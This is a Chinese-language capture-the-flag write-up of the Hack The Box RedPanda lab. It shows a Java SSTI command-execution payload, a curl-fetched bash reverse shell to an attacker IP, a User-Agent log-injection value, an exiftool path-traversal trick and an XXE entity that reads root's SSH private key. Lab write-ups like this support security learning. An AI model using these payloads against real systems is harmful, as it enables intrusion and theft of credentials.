信息搜集 1 2 3 4 5 6 7 8 9 └─# nmap -sS -p- --min-rate=2000 10.10.11.170 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-24 16:21 HKT Warning: 10.10.11.170 giving up on port because retransmission cap hit (10). Nmap scan report for 10.10.11.170 Host is up (0.62s latency). Not shown: 64603 closed tcp ports (reset), 930 filtered tcp ports (no-response) PORT STATE SERVICE 22/tcp open ssh 8080/tcp open http-proxy
端口扫描扫到8080端口,直接访问,有个/search,然后目录扫描也能看到/stats,可以看到一些图片的路径,还有两个作者名字,还有一个可以生成xml文件(没什么敏感内容)的功能
然后看到网页源代码可以知道这个是个spring boot应用
主要针对这个search,尝试了sql注入,无果,后来看到了官方引导,才知道存在SSTI(下次应该自己试出来)
SSTI漏洞 输入*{8*7}
,回显56,验证了ssti漏洞,在hacktricks找个payload
1 *{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('id').getInputStream())}
可以命令执行
1 2 3 4 5 └─# cat /var/www/html/a.sh /bin/bash -i >& /dev/tcp/10.10.16.14/8888 0>&1 编写payload *{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('curl http://10.10.16.14:9999/a.sh -o /tmp/a.sh').getInputStream())} *{T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec('bash /tmp/a.sh').getInputStream())}
成功拿到shell
靶机内信息搜集 /opt文件夹下面有挺多东西的,要耐心翻找
在/opt/panda_search/src/main/java/com/panda_search/htb/panda_search/MainController.java
文件里面能够看到woodenk用户的账号密码,拿去登陆ssh,可以成功
然后实在太多东西,我跑了linpeas和pspy,主要是pspy64,可以看到
root有执行有关final…的jar包,在/opt下面,woodenk用户还会定时删除xml文件
把jar包scp传输到本地,用jadx反编译了一下,看到了代码
代码审计
需要审计,这部分我就是参考别人的wp努力理解可以怎么利用漏洞
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public static void main (String[] args) throws JDOMException, IOException, JpegProcessingException { File log_fd = new File ("/opt/panda_search/redpanda.log" ); Scanner log_reader = new Scanner (log_fd); while (log_reader.hasNextLine()) { String line = log_reader.nextLine(); if (isImage(line)) { Map parsed_data = parseLog(line); System.out.println(parsed_data.get("uri" )); String artist = getArtist(parsed_data.get("uri" ).toString()); System.out.println("Artist: " + artist); String xmlPath = "/credits/" + artist + "_creds.xml" ; addViewTo(xmlPath, parsed_data.get("uri" ).toString()); } } }
main函数按顺序调用几个函数,都是在上文自定义的
1 2 3 4 5 6 7 8 9 public static Map parseLog (String line) { String[] strings = line.split("\\|\\|" ); Map map = new HashMap (); map.put("status_code" , Integer.valueOf(Integer.parseInt(strings[0 ]))); map.put("ip" , strings[1 ]); map.put("user_agent" , strings[2 ]); map.put("uri" , strings[3 ]); return map; }
parseLog函数就是读取/opt/panda_search/redpanda.log
,然后把里面的参数用|分割,再保存,形如
1 405||10.10.16.14||Mozilla/5.0 (X11; Linux aarch64; rv:109.0) Gecko/20100101 Firefox/115.0||/error
然后再main函数返回那个叫uri
的参数,后面要用
接着往下时getArtist函数
1 2 3 4 5 6 7 8 9 10 11 12 13 public static String getArtist (String uri) throws IOException, JpegProcessingException { String fullpath = "/opt/panda_search/src/main/resources/static" + uri; File jpgFile = new File (fullpath); Metadata metadata = JpegMetadataReader.readMetadata(jpgFile); for (Directory dir : metadata.getDirectories()) { for (Tag tag : dir.getTags()) { if (tag.getTagName() == "Artist" ) { return tag.getDescription(); } } } return "N/A" ; }
这个函数先将/opt/panda_search/src/main/resources/static
和uri参数拼接出一个路径,加载那张图片,然后使用JpegMetadataReader读取图片里面的详细信息,相当于exiftool,如果图片解析出来有Artist
字段,就返回,如果没有就返回空
最后是addViewTo函数,path在main函数拼接好了,就是
1 /credits/" + artist + "_creds.xml //artist字段是前面函数返回的
这个函数主要是解析xml文件,增加图像的计数次数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public static void addViewTo (String path, String uri) throws JDOMException, IOException { SAXBuilder saxBuilder = new SAXBuilder (); XMLOutputter xmlOutput = new XMLOutputter (); xmlOutput.setFormat(Format.getPrettyFormat()); File fd = new File (path); Document doc = saxBuilder.build(fd); Element rootElement = doc.getRootElement(); for (Element el : rootElement.getChildren()) { if (el.getName() == "image" && el.getChild("uri" ).getText().equals(uri)) { Integer totalviews = Integer.valueOf(Integer.parseInt(rootElement.getChild("totalviews" ).getText()) + 1 ); System.out.println("Total views:" + Integer.toString(totalviews.intValue())); rootElement.getChild("totalviews" ).setText(Integer.toString(totalviews.intValue())); Integer views = Integer.valueOf(Integer.parseInt(el.getChild("views" ).getText())); el.getChild("views" ).setText(Integer.toString(views.intValue() + 1 )); } } BufferedWriter writer = new BufferedWriter (new FileWriter (fd)); xmlOutput.output(doc, writer); }
这里就存在XXE漏洞,在网站点击导出表格的功能时,就会触发,而且在这里解析的文件路径path是可控的,我们可以通过控制uri的值,控制 artist
值
提权操作 1 exiftool shy.jpg -Artist="../home/woodenk/aaa"
先自己准备一张图片,用工具增加Artist字段,然后上传到靶机
1 2 3 4 5 6 7 8 9 10 11 12 woodenk@redpanda:~$ cat aaa_creds.xml <?xml version="1.0" encoding="UTF-8"?> <!--?xml version="1.0" ?--> <!DOCTYPE replace [<!ENTITY pencer SYSTEM "file:///root/.ssh/id_rsa"> ]><credits> <author>damian</author> <image> <uri>../../../home/woodenk/shy.jpg</uri> <hello>&pencer;</hello> <views>4</views> </image> <totalviews>4</totalviews> </credits>
在靶机新建一个xml文件,里面使用到文件读取
1 curl http://10.10.11.170:8080 -H "User-Agent: ||/../../../../../../../home/woodenk/shy.jpg"
curl访问,增加字段到log文件,这一步是在控制uri
1 2 3 4 woodenk@redpanda:/opt/panda_search$ ^[[A cat redpanda.log 200||10.10.16.14||||/../../../../../../../home/woodenk/shy.jpg||/
因为我们在UA头前面多插入了一个||,这样本来是第三个字段的ua头被我们控制成第四个,也就是uri
最后访问网址触发功能点
1 curl http://10.10.11.170:8080/export.xml?author=damian
等一会,再查看aaa_creds.xml,就能看到我们要读取到内容,接下来就是用id_rsa登陆root,结束。
总结 这个靶机还挺有意思的,第一次接触java的ssti,虽然这次是直接套payload,然后靶机内信息搜集也挺需要耐心的,代码审计触发xxe漏洞那块,一开始看wp还感觉很麻烦,自己写复盘一路顺下来才理解,学习了。